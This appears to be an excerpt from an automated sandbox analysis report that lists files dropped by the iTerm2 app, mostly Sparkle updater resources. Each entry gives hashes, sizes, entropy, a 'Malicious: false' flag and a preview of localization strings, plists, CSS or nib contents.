SSDEEP:	192:MAyICm30S3gjQUvUbU6C3dzkPe588sbwJBqLnVdZP1YVpvJ:JyIDIUb9GRknZdk7
MD5:	817B742FC6D5DD1B603325AD13F35EB8
SHA1:	B004CD9D6F91EBC9EAF09588F964C09C3872A483
SHA-256:	4E89E3250ABDD6BA2A4CF703EE404A1FFC6C7EF85CD30977AB45C14B2480BBE8
SHA-512:	F22A37432ED980745427C8576503AE544895FFF1F77495DDFCC329E0C1A396BA24F5643009E6D226ED6F9ED1E4E78060834DD931FFC093A44454BF18E75969FD
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .j.e. .b.i.l. .u.s.p.e.a.n.o. .p.r.e.n.e.a.e.n. .s. .s.p.l.e.t.a. .i.n. .j.e. .p.r.i.p.r.a.v.l.j.e.n. .n.a. .n.a.m.e.s.t.i.t.e.v... .G.a. .~.e.l.i.t.e. .n.a.m.e.s.t.i.t.i. .i.n. .p.o.n.o.v.n.o. .z.a.g.n.a.t.i. .t.a.k.o.j.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".P.r.o.g.r.a.m.a. .%.1.$.@. .n.i. .m.o.g.o...e. .p.o.s.o.d.o.b.i.t.i.,. .k.e.r. .g.a. .p.o.g.a.n.j.a.t.e. .i.z. .l.o.k.a.c.i.j.e.,. .k.a.m.o.r. .p.i.s.a.n.j.e. .n.i. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/sv.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7816
Entropy (8bit):	3.4310029870641507
Encrypted:	false
SSDEEP:	192:MHw1VV3E3VQUCU69xqi9clc5mGYKXw6f4iHnEYmsOQ42y:D1rruiHEYmJGy
MD5:	0C5E81C10F01FC506D9FE58668C56B96
SHA1:	B5488D25217B76CE353960F8232799A2040E7A49
SHA-256:	40B54F1975AAB59F54761E2ECFE94B897F379E70C674333D58447D5B6181B2FE
SHA-512:	80342860A1F55B07D78ACA82FD96224074CA8F13B43C31E6CA66FB2EA27968282AFA0A20BB2ED3EA92C378172EF16D338D8A1CE349DA47A58EA8EBEC32AC2E2F
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .h.a.r. .h...m.t.a.t.s. .o.c.h. ...r. .k.l.a.r. .a.t.t. .a.n.v...n.d.a.!. .V.i.l.l. .d.u. .i.n.s.t.a.l.l.e.r.a. .d.e.t. .o.c.h. .s.t.a.r.t.a. .o.m. .%.1.$.@. .n.u.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .k.a.n. .i.n.t.e. .u.p.p.d.a.t.e.r.a.s. .n...r. .d.e.t. .k...r.s. .f.r...n. .e.n. .s.k.r.i.v.s.k.y.d.d.a.d. .v.o.l.y.m. .s.o.m. .e.n. .s.k.i.v.a.v.b.i.l.d. .e.l.l.e.r. .e.n. .o.p.t.i.s.k. .e.n.h.e.t... .F.l.y.t.t.a.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/th.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8476
Entropy (8bit):	4.194521299877113
Encrypted:	false
SSDEEP:	96:M4ZBuI513K3nQUiGRUxosFEM01C/mR9CAe7+zmvvBntZC6WXmvcrpMMkyFY/Hksk:Mk3K3nQUxU6RMug3xntZGXrrJkyPj42j
MD5:	F308844D03AEE19567B10057878CE7F0
SHA1:	C6D91E98BAF43357BF6562A003810DB603855DAF
SHA-256:	7D2EF17237B4174A2AEEC227D7C4A937E71701708AB0F043354FD1F56DCF3AA2
SHA-512:	2E18F1A96567ABC1F0A1FFB31C8D20EE2EEF1C901550D480F016A25C1E85C96BFFC407CC68934F9D039A9F212EF64CF4B633DD218CFD7A3B76F01C304C34B9FD
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .D...I...9.....2.'...L.B.+.%...A.%.0...#.I.-.!.C...I...2...A.%.I.'. ...8.....I.-.....2.#...4.....1.I...A.%.0.@.#.4.H.!. .%.1.$.@. .C.+.!.H.@...5.K.".'...5.I.+.#.7.-.D.!.H.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .D.!.H..2.!.2.#...#.1.....2.#.-.1...@.....D...I.@.!.7.H.-...9...@.#.5.".....2.....4....L.A.....-.H.2...-.".H.2...@...5.".'.+.#.7.-...5...5.#.-.!. .".I.2.". .%.1.$.@. .D...".1...B...%.@...-.#.L.A.-.....%.4.@.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/tr.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode C program text, with very long lines
Category:	dropped
Size (bytes):	9702
Entropy (8bit):	3.5504610626364306
Encrypted:	false
SSDEEP:	192:ajPPjb3Qd3sY3QUAlUsL2hRSkgYFC5OsfhMaFu6zlkYwn91QZ46wJE:abPj6AZ72OJYU5Osf+WHlrw91QZ46wJE
MD5:	0A78299AD40E92C364E0C8CD856EEE76
SHA1:	D5902791C5D289E76565CD0EF285F9E0DC191E40
SHA-256:	CCA1C8C56947C1467FF778E2E9BD242E87F540C06398840613C139BAB36E4D98
SHA-512:	5CE395FF17BC772F388D2E1655480112E27821260C251E3EBC5D2F1BF9559B606221C5BC63E8E32BD4E44AB2086889AAB3B08E72F311B264BB9CAB2014BE654C
Malicious:	false
Reputation:	low
Preview:	../.. .d.e._.D.E. .v.0...1. .-. .N.o. .c.o.m.m.e.n.t. .p.r.o.v.i.d.e.d. .b.y. .e.n.g.i.n.e.e.r... ../.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .i.n.d.i.r.i.l.d.i. .v.e. .k.u.l.l.a.n.1.m.a. .h.a.z.1.r.!. .^.i.m.d.i. .y...k.l.e.m.e.k. .i.s.t.e.r. .m.i.s.i.n.i.z.?. .U.y.g.u.l.a.m.a. .y.e.n.i.d.e.n. .b.a._.l.a.t.1.l.a.c.a.k.t.1.r...".;...../.. .d.e._.D.E. .v.0...1. .-. .N.o. .c.o.m.m.e.n.t. .p.r.o.v.i.d.e.d. .b.y. .e.n.g.i.n.e.e.r... ../.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/uk.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7844
Entropy (8bit):	4.135113430782068
Encrypted:	false
SSDEEP:	192:Mlff4393jQUCRU6iei2U3khn29WWia42k:UfDlREgcqsWWisk
MD5:	ED09AE9FD6589030600C1C7B2009D028
SHA1:	A59CE9424A6C50437135439D54C88576B8B4CD7D
SHA-256:	3FD1F726B93E672AB6B5E9CA05D042F9BF6170B8389E52046D195750037502A0
SHA-512:	12F728E1D2ED5C373A5C8A60DF6427B207BEE8F4A0CAF79AE4DAE7F95A3EB13998C9368CB92871ECB47DD903527FD7BDF7DD5D21EEF9285085E7C0B8432FF55B
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .7.0.2.0.=.B.0.6.5.=.8.9. .V. .3.>.B.>.2.8.9. .4.>. .2.8.:.>.@.8.A.B.0.=.=.O.!. ...0.6.0.T.B.5. .2.A.B.0.=.>.2.8.B.8. .V. .?.5.@.5.7.0.2.0.=.B.0.6.8.B.8. .%.1.$.@.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. ."...V.4. .G.0.A. .@.>.1.>.B.8. .7. .%.1.$.@. .7. .B.>.<.C.,. .I.>. .?.@.8.7.=.0.G.5.=.8.9. .;.8.H.5. .4.;.O. .G.8.B.0.=.=.O.,. .=.0.?.@.8.:.;.0.4.,. .>.1.@.0.7.C. .4.8.A.:.0. .G.8. .>.?.B.8.G.=.>.3.>. .4.8.A.:.C.,. .9.>.3.>. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/zh_CN.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	6278
Entropy (8bit):	4.204755331253033
Encrypted:	false
SSDEEP:	96:M4+Bu8X8d23T3jisRUxoswI5xk3mkml1n0DKf6xCv4lRLM27U:M53T3jjU6rI/jn0DK2P42Y
MD5:	D923193C83AF6ED826207F7D3FA5DBCE
SHA1:	B2B7D334B20521D84D284D32473C04A800FB6FE7
SHA-256:	06124A215D5D130DE48C12AC5DD8BD0131D59185486D9A61656E19B932D45D04
SHA-512:	D3E0E372C96267F6333076F7CB8EBEA18F72470B50518F7F3AEA28B9BE0D4314636549DF13AF731FAB86D6C75F76D7F7242E5799F44AE86E520557D3E4510DA2
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. ..].N}..[.kv^.S.N.O(u...`.`...s(W.[.. .%.1.$.@. ..T..".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. ."..e.l.f.e .%.1.$.@....V:N.[..L..N.N*N.S...[wS.Y.x.v f.P.bIQ.v.0.y.R .%.1.$.@. .0R.^(u.z.^.e.N9Yv^.Q...N!k.0".;.....".Q.u.i.t. .%.1.$.@.,. .m.o.v.e. .i.t. .i.n.t.o. .y.o.u.r. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e. .a.n.d. .t.r.y. .a.g.a.i.n... .%.2.$.@. .c.a.n.. t. .b.e. .u.p.d.a.t.e.d. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/zh_TW.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	5734
Entropy (8bit):	4.223187268430814
Encrypted:	false
SSDEEP:	96:M43BBu3g93a3/QUiYRUxosUeLSsS2SDSs7m3g1ny0G6qUvX6EN:MtQ3a3/QUfU6PZS3Iny0WQ
MD5:	3DA81209EBBD6A34DA0A5D8BC0196F34
SHA1:	C534D9469D3388166D8713FC720462120C591345
SHA-256:	D9A670069F56F0147A4DBB7A8440E39BFCBFBE8DC518C08840E02C725572FA44
SHA-512:	BE0E02BFF6588CDB79C5B9DE6D34A3FBF8B913700AF7FB70127E486638F0BC0F25FCE942DB1CE75C5DC65D550007E9CC9D37B717E24FAB63F8B22684D9852696
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. ..].N...N.S.O.O(u...`/f&T...s(W.[..&N...e_U.R%.1.$.@...".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".vu .%.1.$.@. .ck._/U..wS.[...Y.x.x f.P.j.bIQ.x_j...WL.Bf..!q.l2.L..f.e.0...\ .%.1.$.@. ..y...`.v. .a(u.z._. .jHh>Y..._r.U....e_U.R..6q._.Qf..N!k.0 . .".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...". .=. .".%.1.$.@. .%.2.$.@. ..]/f.vMR.g.e.vHr,g.0".;.....".%.@. .%.@. .i.s. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/_CodeSignature/CodeResources Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	14767
Entropy (8bit):	5.118381107952603
Encrypted:	false
SSDEEP:	96:CyTh0nppV3xqDPIiT/SF83kFRsbAUaGhPtjoXnEEAkLOxP+Ze37VVaHS5c57qNnI:XrIC95ofsjhgZe5htq7lbSEDzko
MD5:	12EB6507FADFC51DCB867155C32F533B
SHA1:	4D0D4CB44D087E47D9DAC03C6ADF454ED341B819
SHA-256:	5CA0B6DAC2C5393DD2FD5F5D16A70D01AC13049C94DAB3DAB60E4B52CE299133
SHA-512:	E2C1DB841836F37A8468D30C8976E2A9386C6C64B8306E0A9EC7EDFE175E5FE4B23298DA3A615FC160821B7D2F2C43B830790D36F886FF9DE96CA2A5086B994B
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>files</key>..<dict>...<key>Resources/AppIcon.icns</key>...<data>...4McwRDEss5BzWwUMG2Xf93+ze08=...</data>...<key>Resources/SUStatus.nib</key>...<data>...MulAXYyGjKf4+ASdeMJhGSViQXU=...</data>...<key>Resources/ar.lproj/Sparkle.strings</key>...<dict>....<key>hash</key>....<data>....3/ZrgZd3oO/InbR3VBYBSZ3KsDs=....</data>....<key>optional</key>....<true/>...</dict>...<key>Resources/ca.lproj/Sparkle.strings</key>...<dict>....<key>hash</key>....<data>....8xZ59T/LZxVMOWNsGblySVsijvs=....</data>....<key>optional</key>....<true/>...</dict>...<key>Resources/cs.lproj/Sparkle.strings</key>...<dict>....<key>hash</key>....<data>....6JE9xjhtYHPDzzXXR8Mosaib/q4=....</data>....<key>optional</key>....<true/>...</dict>...<key>Resources/da.lproj/Sparkle.strings</key>...<dict>....<key>hash</key>....<data>....OjB4Xa9yPARy+Ji2tdn3b+A

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/DarkAqua.css Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII text
Category:	dropped
Size (bytes):	98
Entropy (8bit):	4.212917180665161
Encrypted:	false
SSDEEP:	3:ULezMcSv/FFMoQevCwGdWTMJGeAv:Uqwv/bkezXReAv
MD5:	7BF8BCD1995F730D5075E7C68E18E51D
SHA1:	4828A10B6FC61BF0E1178C5C5C3F4C61AC616B03
SHA-256:	D46E3E18921DE3B13C5228D84F2F717AA03C4692DD39A199419F01F39C9D44E8
SHA-512:	EEF58E2B1412FE13C3E28955FBE4DA26BF842842A268AC7A9C3F4DB5A439315DFD8C4253C0D56DA86C6957DDAEDAA1AE392C907AE757D79C775A46F069944F1C
Malicious:	false
Reputation:	low
Preview:	html {. color: #FFFFFFD8;.}.:link {. color: #419CFF;.}.:link:active {. color: #FF1919;.}.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Info.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	1368
Entropy (8bit):	5.202481705074126
Encrypted:	false
SSDEEP:	24:2dfyiwBW7w6wEkorMa6X42Rt0gp/22Pgpjee5YCMGJ//fI:cfyfSQEzrcXjP0gM2IpSctXJ/4
MD5:	2317FFE553153AC9C6C0994B6DD8F7B7
SHA1:	4CA924082B99F7579C94B1D31B6497A04DF284EA
SHA-256:	DD767FA6C147AEF20C17A561467AB478BF65680D3E4082B11FE5733A269E95C7
SHA-512:	CB034B92A8875739C337FDEC4B4A73E789664222CE545BE8D7672E1C184655393F8F011FE8EC7E9CB414E95C1F34E84195F1BFAB390D61D28EEDC06FC91C9508
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>BuildMachineOSBuild</key>..<string>20A5299w</string>..<key>CFBundleDevelopmentRegion</key>..<string>en</string>..<key>CFBundleExecutable</key>..<string>Sparkle</string>..<key>CFBundleIdentifier</key>..<string>org.sparkle-project.Sparkle</string>..<key>CFBundleInfoDictionaryVersion</key>..<string>6.0</string>..<key>CFBundleName</key>..<string>Sparkle</string>..<key>CFBundlePackageType</key>..<string>FMWK</string>..<key>CFBundleShortVersionString</key>..<string>1.22.0 1346-gbb5d87c</string>..<key>CFBundleSignature</key>..<string>????</string>..<key>CFBundleSupportedPlatforms</key>..<array>...<string>MacOSX</string>..</array>..<key>CFBundleVersion</key>..<string>1.22.0</string>..<key>DTCompiler</key>..<string>com.apple.compilers.llvm.clang.1_0</string>..<key>DTPlatformBuild</key>..<string>12A8158a</string>..<key>DT

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/SUModelTranslation.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	11859
Entropy (8bit):	5.14768825238357
Encrypted:	false
SSDEEP:	192:Xw1JKwX8XW31zC5CJCOCnShScSbLSiS7ZpCividuWZl/96Y:CJ/XHEQADnShScSbLSiS7oIY
MD5:	2997E631406926FE0805CB85E3DC6364
SHA1:	883D84C78D14B1CE1913A20085178FAA0C0AFF1C
SHA-256:	6F19E94508513895D32F6C6E21E7DF477A7E84EBAE8E2EDE3A80DE36A498A938
SHA-512:	04C4034A85383A52E019513D547228D56B91A6A7DC333D832936341D8A09471F5DB3B011997C1D3D092E6DBC24D52EEED10DBA9B478D94245383445FDBE22A5E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>ADP2,1</key>..<string>Developer Transition Kit</string>..<key>iMac1,1</key>..<string>iMac G3 (Rev A-D)</string>..<key>iMac4,1</key>..<string>iMac (Core Duo)</string>..<key>iMac4,2</key>..<string>iMac for Education (17 inch, Core Duo)</string>..<key>iMac5,1</key>..<string>iMac (Core 2 Duo, 17 or 20 inch, SuperDrive)</string>..<key>iMac5,2</key>..<string>iMac (Core 2 Duo, 17 inch, Combo Drive)</string>..<key>iMac6,1</key>..<string>iMac (Core 2 Duo, 24 inch, SuperDrive)</string>..<key>iMac7,1</key>..<string>iMac Intel Core 2 Duo (aluminum enclosure)</string>..<key>iMac8,1</key>..<string>iMac (Core 2 Duo, 20 or 24 inch, Early 2008 )</string>..<key>iMac9,1</key>..<string>iMac (Core 2 Duo, 20 or 24 inch, Early or Mid 2009 )</string>..<key>iMac10,1</key>..<string>iMac (Core 2 Duo, 21.5 or 27 inch, Late 2009 )</string>.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/SUStatus.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	12597
Entropy (8bit):	6.723101504169035
Encrypted:	false
SSDEEP:	384:uAg94DKE0xeEYNg72osKW7v8sdf6cDdyCxOxZ:uAgWD2eEYy5Y0gZhyyOX
MD5:	5FBB7CE84C39F6E4FE9939CC4DEF1A20
SHA1:	32E9405D8C868CA7F8F8049D78C2611925624175
SHA-256:	BED195884E7B2BA9489214BE8E5B81F9B276AC176D575C7D48640B598A8FB318
SHA-512:	805669C72920B3E981FAD133FC13E4F9196247C6F4ACBBF1199A99D724E403788C184238829FC2999EA9E5855AEB6D9028B2E71C624120114EDE28D98095B1E3
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.).*.0.4.8.G.Q.\|.............................................................!.".&.).../.4.7.:.;.A.c.d.e.f.g.h.p.....................................................................................................".#.$.%.,.-.../.8.9.:.A.B.I.J.K.R.S.T.c.f.g.i.x.........o................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUStatusController..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.F..:.;.<.=.>.?.@.A.B.C.D.E.......2.`.e.l.p.t.w.y.\|......H.I.J.K.L...N.O.PXNSSource]NSDestinationWNSLabel_.%N

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13584
Entropy (8bit):	6.732529273794992
Encrypted:	false
SSDEEP:	192:U1WzBQAFcGQeOeYjqE0lCjeEYNMtKwqJ36wq/6T9rWHiOqFp7Q:UgzJcyeqE0EeEYNg7qJ36wqI9nhp7Q
MD5:	F204D6113B3C5336BD688F4DE4E679D5
SHA1:	9C6C6B315736D1DB1E111F4F38E3BBB7CC223662
SHA-256:	45A9FC50DCB035D7FE5F4EA3C9E900AE01CFF7997BC7569528ADF25060B204CF
SHA-512:	FC377230C067D0179BE7E868E218602FEA7651778780786749DD3D619BB2C52B0D8542C98B3FAE55AE6C1A5F81614E5C557783B377A3E705E8F841A4326A316C
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
